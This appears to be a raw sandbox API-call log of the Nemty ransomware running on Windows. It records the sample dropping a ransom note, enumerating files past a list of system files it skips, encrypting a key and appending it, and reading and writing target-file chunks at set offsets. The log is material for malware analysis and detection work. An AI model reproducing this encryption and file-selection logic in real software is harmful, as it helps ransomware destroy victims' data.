dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0152.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0152.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0152.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.583] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0152.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0152.584] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.584] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0152.585] CloseHandle (hObject=0x254) returned 1 [0152.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0152.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0152.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0152.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe97ad90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe97ad90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0152.585] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.585] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe97ad90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe97ad90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.585] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.585] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.585] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0152.585] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2=".") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="..") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="...") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="windows") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="rsa") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="NTDETECT.COM") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="ntldr") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="MSDOS.SYS") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="IO.SYS") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="boot.ini") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="boot.ini") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="ntuser.dat") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="desktop.ini") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="CONFIG.SYS") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="RECYCLER") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="bootmgr") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="programdata") returned -1 [0152.586] lstrcmpiW (lpString1="(144DPI)alertIcon.png", lpString2="appdata") returned -1 [0152.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0152.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0152.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0152.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0152.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0152.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0152.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0152.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0152.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0152.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0152.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0152.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0152.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340178 [0152.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0152.587] Sleep (dwMilliseconds=0x5) [0152.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe9a0ef0, dwHighDateTime=0x1d561e8)) [0152.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe9a0ef0, dwHighDateTime=0x1d561e8)) [0152.597] GetLastError () returned 0xb7 [0152.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.597] GetLastError () returned 0xb7 [0152.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0152.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0152.597] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0152.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0152.597] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e5dc | out: pszString="nixLO3ehbB+XYd2k5Y0eF9WFWuT4HlTD8id4CliouYFo639WVkWYyoygSThl3ECf\r\nFPLz/UjmL+t1V21eYkiEDH97/zwvDd0qOVRDk9lzkLT8E1CnGd/RgwCsL1IO/JSb\r\n1Gf9JLAuB4bOVQA9YvXYTO0LQ/TKFF84BubqL7/RCQXNzvXcRMQrix9yoUQ2qYp1\r\nnkdYTWx0NlMI1/m98vevF0PYQVgzSgG5VFXavJSlR2n1quoTBM3TiVNLxP01wwSw\r\nx3iuYV/m6PHyqc6lpSmsYAHns0k55T1nFd7CkIW0CIFd3JwJtXTRtEwkW3LuQYpZ\r\nayD1KolvLovC60NGtKx9YA==\r\n", pcchString=0x653e5dc) returned 1 [0152.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0152.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0152.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.598] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.598] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0152.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0152.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0152.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.702] CloseHandle (hObject=0xffffffff) returned 0 [0152.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0152.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0152.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0152.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0152.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 